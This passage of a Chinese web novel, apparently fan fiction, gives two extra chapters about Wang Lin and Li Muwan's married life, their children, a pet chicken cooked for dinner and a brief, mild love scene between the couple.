我与自己说:我的夫君就只会是阿兄,那是一个不带任何杂念,会不顾一切奔向我的人,他是王林。 往后我们会在竹林小院生活,我炼丹制药,阿兄写话本谋生,爹娘康健,我与阿兄举案齐眉,长相厮守,哥哥药铺风生水起。还会有我们的孩子,我教孩子弹琴识药,阿兄教他们识字念书…… 我想与阿兄,风月常新,细水长流。【你现在阅读的是魔蝎小说 moxiexs】 81、午后[番外] 竹林小院。 李慕婉捧着托盘,敲了两声门框未等王林应便自顾推门进了。 “阿兄,婉儿刚沏的茶,你温书久坐,偶尔也要出去透透气,周婶和王叔出去了,婉儿晚些也要去寻花影,午饭在锅里,你记得吃。” “嗯。”王林翻书时应了一声,余光映着她裙摆的颜色,又觉不对劲,这里明明是他家,怎得她一声声嘱咐,倒显得自己才是客人? “阿兄,婉儿出去了。” “早些”话未说完,待他再抬眸时,人影已经出去了,王林听见院门开了又关的声音,沉叹了一声。 长木桌上的茶香入鼻,他捧起茶盏,品了一口,透着不可察觉的笑意。 屋内似还有她留下的气息,午后的日光洒在屋檐下,小院静谧。 昏暮时,院外有了动静,未见其人,先闻其声。 “阿兄,婉儿回来了。”李慕婉鬓间出了细汗,撑在西厢房窗台外朝里看,王林还在书案前温书。 晚风绕在她身后,将碎发吹起,少年视线寻声而去,目光不自觉变得温柔,沐浴在余晖下的人漾出暖笑,冲散他温书整日的疲惫。 “嗯。” 李慕婉似在那张平日冰冷的面容上瞧见几分笑意。 “阿兄,你在笑吗?” 王林未作声,合书起身,及近窗台,盯着汗珠沿着她轮廓滑动,深眸里映着她的笑脸。 “阿兄?”李慕婉歪头一脸茫然。 “吱”的一声,窗毫不留情地关了。 李慕婉蹙起眉,一脸无辜地呢喃,“阿兄这是,又怎么了?” 王林侧回身,在她看不见的屋内,少年笑如朗月入怀,把不自知的爱意藏起。【你现在阅读的是魔蝎小说 moxiexs】 82、天伦[番外] 长街点起烟火,人流陆续归家,姐弟俩从学堂下学,摇摇晃晃踩着小步,终于看见王家铺子。 王林瞧着时辰,从后院端出膳食,眼神温柔朝柜台的李慕婉瞧了眼。 “阿兄,依依和思礼还没下学呢。”李慕婉在拨算珠,闻着厨房里飘出的香味,今日进药材和丹药的单子较多,木雕的也不少,她算完最后一笔账,规整账台。 王林搁下碗筷朝她走去,手臂自然环过腰身,理顺她额前垂下的发丝,“算着时辰也该到了,婉儿累了吧。” 近日许立国被王林遣回清平镇帮衬李奇庆药铺生意,便没有接送两人下学,王依依去学堂前拍着小胸脯跟爹娘保证自己能行,还能照顾好弟弟。 “娘亲,爹爹。”王依依牵着王思礼跨入铺子门槛,身后的书箱压着小背,两人面颊红通通的,还喘着息,想来是走累了。 王思礼仰起小脑袋也跟着一块喊爹娘。 夫妻两抬眼一瞧,小人儿已经卸下书箱,爬上小凳撑起身子,往长木桌凑前,深吸一口。 “好香啊,爹爹今日做的什么好吃的?”王依依摸着小肚子咕咕叫,仰头去看二人,王思礼也学着姐姐的动作凑前嗅了嗅。 铺外响起曾父训斥大牛的声音,王依依扭头正要看个究竟。 “你们爱吃的,乖,让爹爹带你们去净手。”李慕婉目光柔和,俯身蹲下,擦净王思礼面颊的汗珠,又替王依依理顺鬓间贴的乱发。 “爹爹,”王依依看着王林,撒娇地张开手臂,“要抱。” 王林已经蹲下身,展开双臂,两姐弟相视一笑,古灵精怪,纵入爹爹怀里,他一手一个轻而易举抱起,起身转向后院。 李慕婉看着父子三人,后院传来孩童的嬉闹,她已经见怪不怪,定然又玩起了水仗,温婉的面容看不见岁月的痕迹,扬起的笑意暖人。 碗筷摆好,再盛好汤,后院笑声越发急促,李慕婉知晓定然又是王林给两人拋了起来,不然不会笑得这般无节制。 她叮嘱道:“阿兄,洗好了便出来吧,饭菜要凉了。” “知道了婉儿。”他拍了拍两人的小腚,“去吧,娘亲等着呢。” 两人个子不够,王依依尚能自己爬上小凳,王林举着王思礼腋下,给他抱上去,二人坐得板正,小手整齐叠在桌前等食。 李慕婉给两人备了空碗,各放一只鸡腿,王思礼两眼放光,“哇,娘亲,今日吃鸡腿么?” “对啊,爹爹特意杀的鸡,思礼和姐姐念书用脑辛苦,又逢长身体,得多吃一些。”李慕婉替他卷好衣袖,以免沾了油渍。 王依依年岁大些,很自觉给自己卷,也不用爹娘帮忙。 王林夹了一块肉放入她碗里,“婉儿吃。” 李慕婉笑的温婉,也给他夹,“阿兄也吃。” 姐弟二人吃得欢快,见爹爹这般言传身教,王依依手里咬了一口的鸡腿也要递给李慕婉,“娘亲也吃。” “依依吃,娘亲这儿有。”李慕婉轻推她手腕。 “娘亲有是爹爹给的,这是依依给的,不一样。”王依依坚持。 李慕婉瞧了王林一眼,与他会心一笑。 王林点头让她不要拂了孩子心意,王思礼这边也举着,晃了晃,“爹爹也吃。” “思礼不怕爹爹咬了便没了?”王林挑出笑意,王思礼回想起爹爹一口吃掉了娘亲给自己剥的地瓜,他很认真地转着眼珠思索,王林也耐心等他做决定。 良久,王思礼再往前递,“爹爹吃。” 两人心要化了,这一回,王林仅是咬下小口,“乖,爹爹吃过了,思礼自己吃。” 王依依晃着小腿,嘴里嚼着肉这才想起来问:“娘亲,鸡腿哪来的?” 李慕婉瞥了王林一眼,不忍心告知,“你问爹爹。” 屋外又传来曾家铁铺锤炼声,还有街角贩卖的叫声,车马行人的吵闹,王依依追着问:“爹爹,哪来的啊?” “就咱家后院养的啊。”王林坦然告知,故作镇定道。 “哦。”王依依咽下吃食,旋即忽觉不对。 “啊?是小花吗?”姐弟二人下嘴的动作顿了,满脸诧异望着王林,又看看李慕婉,似要等待娘亲的肯定。 李慕婉深吸口气,无奈摸摸两人的头,却为时已晚。 “呜哇啊啊啊……”两人嘴里还含着吃的,眼泪霎时出来了,哭的稀里哗啦,“小花……” 边哭还一边抽抽,小肩膀一耸一耸的,“我的小花……” “爹爹你坏,为何要杀我的小花……” 李慕婉神色抱歉,王林搂过她示意无妨,隔着桌子哄着二人,“依依,思礼,鸡腿好吃吗?” 两人哭着还知道回话,哽咽道:“好,好吃啊。” 李慕婉见状哭笑不得,也哄道:“那等明日市集开了,让爹爹带你们再去买一只回来养着,可好?” “好。” 王依依睁大眼睛问:“那养大了还吃吗?” “依依喜欢吃鸡腿吗?”王林不答引着她思绪。 “喜欢。” “思礼呢?” “喜欢。” “嗯。” 三言两语便把孩子的情绪化了,注意力也散没了,哭过后与没事人一样。 “把眼泪擦了,专心吃饭。”王林温声教导。 王依依抬袖手臂蹭干了泪,又用另一只手去给王思礼擦,哄着弟弟,“思礼不哭,明日和姐姐一块去市集,挑一只比小花更大的,就叫大花。” “好。”王思礼奶声奶气应道。 “娘亲,鸡腿,香!” “吃吧,爹爹再给你们盛点汤。” 汤盛好了,李慕婉吹凉喂,“好喝吗?” 两人异口同声,“好喝。” “吃好了让爹爹教你们做功课。” 两人晃着小腿,一边吃一边笑。 用完晚饭,两人做完功课在后院玩了小会儿,李慕婉将账本锁好,吹了铺子的烛火,天彻底暗下,街道灯火明亮,曾家铺子的铁星子还冒着微弱的光,堂屋内是曾父训斥大牛的声音,大牛绕着桌子跑,喊着不敢了。 王林锁上门,牵起李慕婉的手下阶。 王依依和王思礼站在青石板上侧耳倾听,愣着不走。 “你俩做什么呢?”王林俯身打量小人儿,寻着视线,是大牛家的位置。 李慕婉挽过王林手臂自顾向前,念着:“阿兄,要不把依依和思礼送去大牛家让曾大哥也管管?” “我觉着成。”王林附和。 “嗯?”两人小脑袋一转,爹娘走远了,连忙跑上去,“爹爹娘亲,怎么又不等我们?” “你们忙着呢。”夫妻两异口同声。 “阿兄,你看。”李慕婉指着夜幕里的星点,夏日星辉铺满了银河,两个人步子慢,孩子都在后头跟着。 “嗯,今晚星月出来的早,婉儿若喜欢,咱们回院里坐着也能看。” 王依依牵起弟弟,望着爹娘如胶似漆的背影,“思礼,今晚回去姐姐带你睡。” “姐姐,爹爹娘亲不跟我们睡吗?” 王依依一副意味深长的语气,“爹爹不都说了,要回去与娘亲看星星,不知这回又要看多晚。” 以往几次,二人在池子里泡得晚,回去已是后半夜,王依依问过爹爹几回,王林都道带着娘亲赏月去了。 王依依托着小脑袋不明白,月色再好看,也没有睡觉重要,大人的世界果然与她认知不同。 譬如爹爹总爱寻着娘亲身影,好似眼睛就是长在娘亲身上的,娘亲每一句话他都记在心里,还要一次次教弟弟和自己也要好好爱护娘亲。 祖父祖母曾与自己说,娘亲是指引爹爹回王家村的明灯,王依依不懂,王思礼也不懂。 她还不懂如何是爱,但知晓听话懂事爹娘就会高兴,爹爹说这就是爱。 街灯照着长影,李慕婉头偏向王林肩头,软声撒娇,“阿兄,婉儿有些累了。” “快到了。” “阿兄……” 王林轻笑,蹲下身,宠溺道:“上来。” 李慕婉俯身趴上他结实的宽背。 身后小人儿见状,举起跺脚吵着,“爹爹,我们也要!” 王林背起李慕婉转身,两人奔过来,他半倾下身,张开双臂,一手抱一个,“这会儿可都公平了。” 姐弟俩窝在王林臂弯里“咯咯”直笑,伸开小手臂迎着夏夜的凉。 “阿兄,你累不累?”李慕婉捏捏儿女的脸蛋。 月色清冷,混着人声也不由柔了许多,温润的轮廓露出心满意足的暖意,他道:“不累。” “王掌柜,好福气啊。”行人被这显眼的嬉闹引了注意,与王林问候。 王林颔首点头,李慕婉恨不得藏起脸,王依依与王思礼还不知娘亲是羞了,喊着嗓音与街邻礼貌问候:“张大爷,吃了么?” “吃了吃了。” “阿兄,走吧。” “娘亲,你怎么了?”王思礼睁大眼珠子,歪头去寻藏起面颊的李慕婉。 王林迎着晚风挑唇,嘴角挂着一丝坏笑,知道她怎么了。 明月高悬,挂在稀疏云层后,身影慢慢消失长街。 回到宅子,王林在院里教孩子们念诗,李慕婉躺在摇椅乘凉,听着王林与孩子们谈论诗文的声音,王依依抢着话,她到了表达的年纪,话题牵出来后便难以平息,王思礼转着小脑袋思索爹爹和姐姐说的话。 凉风乘在面颊,扫开李慕婉鬓边发,她仰望黑夜星辉,面容泛出温柔的笑,无比享受此刻的安宁。 蝉鸣在夜里喧叫,夜色渐浓,王思礼哈欠连连,爬下矮凳跑到李慕婉摇椅边,晃着她手臂,一只手揉眼睛,“娘亲,娘亲,思礼困了。” 李慕婉轻柔抱起,王思礼便这么躺在她怀里,她呵气如兰,唱着歌谣哄睡,轻拍小人儿的背。 王依依还靠在爹爹怀里念书,念着念着也打起哈欠,王林见状合上书。 指尖刮女儿的小鼻,“依依也困了,去睡吧,明日还要去学堂呢。” 王林起身去抱过李慕婉怀里的王思礼,“待我我哄睡孩子们,再陪婉儿赏月” 李慕婉点头,“嗯。” 王依依勾着王林的脖颈,“爹爹,你陪娘亲赏月,依依能哄弟弟睡。” 王林摊开被褥,先放了王思礼,王依依自己爬入被褥,又扯过褥子盖好,侧身手臂护着王思礼,一只眼朝王林眨,仿若在说,爹爹交给她放心就是了。 烛火晃起昏光,王林吻在儿女额间轻声说:“依依最懂事了。” 他退出去时吹灭烛台,屋内只留一盏油灯。 李慕婉斜倚着房外梁柱,双手叠在腹部的位置,见王林出来,张开双臂。 王林轻掩门,视线忍不住瞧那月下美人,下阶后手臂用力,李慕婉便坐在他臂弯了,从廊下绕过院子,头顶几乎碰到垂下的海棠枝。 他在院里坐下,双臂环住她,禁锢在怀里,面颊贴着李慕婉发丝,十指相扣。 “阿兄,爹娘在王家村不知怎么样了。”李慕婉坐在他腿上,靠着胸膛。 “娘啊,给依依和思礼又做衣裳呢吧,爹呢,少接了木雕生意后,变着法子给孩子们雕玩具儿。”王林脑中浮过爹娘每日在堂屋的身影,思念涌上心头。 “等依依和思礼学堂放假了,咱们回一趟王家村,看看爹娘,还有哥哥。”李慕婉说。 “好,依婉儿的。” 高松漏疏月,落影如画地,院子蝉鸣停了,王林说:“婉儿,夜深了,回屋吧。” 身影消失在夜幕里,荷塘的莲花下锦鲤安睡,正屋的喘息沉沉传出。 王思礼翻身,小手露出薄衾,王依依眯着睡眼,小心翼翼将弟弟的手臂放入被褥,“思礼乖,不许掀被子,着凉要喝药的。” “姐姐,”王思礼迷糊睡音喊了两声,“姐姐……” 王依依似乎听见隔壁屋传来东西掉落的声音,“爹爹娘亲还赏月呢……” 王思礼又睡熟了,小手抓着姐姐的一缕发,王依依也睡沉了,哈喇子沿着嘴角流入王思礼的衣袖,浸湿褥枕,梦里回到王家村田野上,爹爹娘亲,祖父祖母,舅舅弟弟一块追蝴蝶玩儿,小脸笑意不下。 “阿兄,你轻,轻些……”李慕婉脚腕抵在他肩头,“别吵醒了孩子们。” “无碍,”王林肩背流出汗珠,“他二人睡着了,打雷都醒不来,婉儿,唤吧,别忍着……” 李慕婉忍着声,却被他咬在脖颈的酥/软泄了力。 “啊——”撞着床板的动静“吱呀吱呀”,吵着停在海棠枝互相厮磨的夜莺,歪头朝正屋注视,动静有节奏的响,夜莺似习以为常,又将头埋入羽毛里。 翌日晨曦,王依依和王思礼吃完朝食,背起书箱,李慕婉挽好发从正屋出来,擦净两人脸上残留的食物。 “乖,路上当心些,别贪玩,下学爹爹和娘亲去接你们。” 王依依歪头眯眼,打量状:“娘亲,你们昨夜赏月又赏很晚么?” 李慕婉故作镇定应她,王依依盯着她脖颈下咬出的红痕,“娘亲,你脖子被野蚊子咬了?” “什么野蚊子?”正下阶的王林闻言倒想看看怎么回事。 “娘亲脖颈,”王依依翻着书箱寻驱蚊药,“祖母说夏日蚊虫多,野蚊子咬人最痒了,依依给娘亲拿药。” 她小手捧着祛痒膏,王林拿过来,指尖贴在李慕婉脖颈,打眼一瞧,原是昨夜咬的,他指腹摩挲,挑眉对李慕婉说:“野蚊子咬的么?” “阿兄,别胡说。”李慕婉推推他 王林不让,背影挡下儿女的视线,俯身朝她落吻,又强调一句,挑眉故意坏笑,“嗯,野蚊子咬的!” 王思礼扯着王林衣摆,“爹爹,上学要迟到了。” 王林拎起二人书箱,“走,爹爹送你们去学堂。” 走出两步,王依依扭头问:“娘亲也去可好?” 李慕婉思虑后应下,药铺晚些去无妨,她不愿扫了孩子们的兴。 “好!” 王思礼与王依依笑得张牙舞爪,一人一边去牵了娘亲的手,王林见状蹙起眉,“你们都牵了娘亲,那爹爹牵什么?” 王思礼挠挠头,他想牵爹爹,可也想牵娘亲,王林跨出步子,拉起他小手,另一只手不动声色地覆在李慕婉腰后,一本正经说:“爹爹替思礼保护娘亲。” 王依依朝娘亲挤眉弄眼,似在控诉爹爹又骗小孩玩儿,爹爹明明是想要黏着娘亲。 李慕婉笑得动人,晨阳的光束落在身侧,俨若莲花惹了晨露,盈盈如水,王依依贴着她走,忍不住往她腰间嗅,“娘亲好香。” “嗯?”李慕婉俯视瞧她,被她模样逗笑了。 欢声笑语出了宅子,风过时搅动池子盛开的莲,早晨觅食的雀回了巢,姐弟俩入了学堂,两夫妻才离去。 长街烟火,摊铺冒着朝食的热气,王林手心攥着她,二人漫步街边,时而望向远处,时而相视回望彼此,李慕婉见王林唇角总是溢着笑,银发抚过额前,温润儒雅,她侧了头,枕在他肩头,王林俯视,神色温柔盯着她侧脸。 下颚轻抵头顶,发丝还残留昨夜的依兰香,若隐若现中瞧见那块王依依口中“野蚊子”咬的红痕。 烟火入眸,人声浸耳,朝阳把两人影子拉长,叠成一层。【你现在阅读的是魔蝎小说 moxiexs】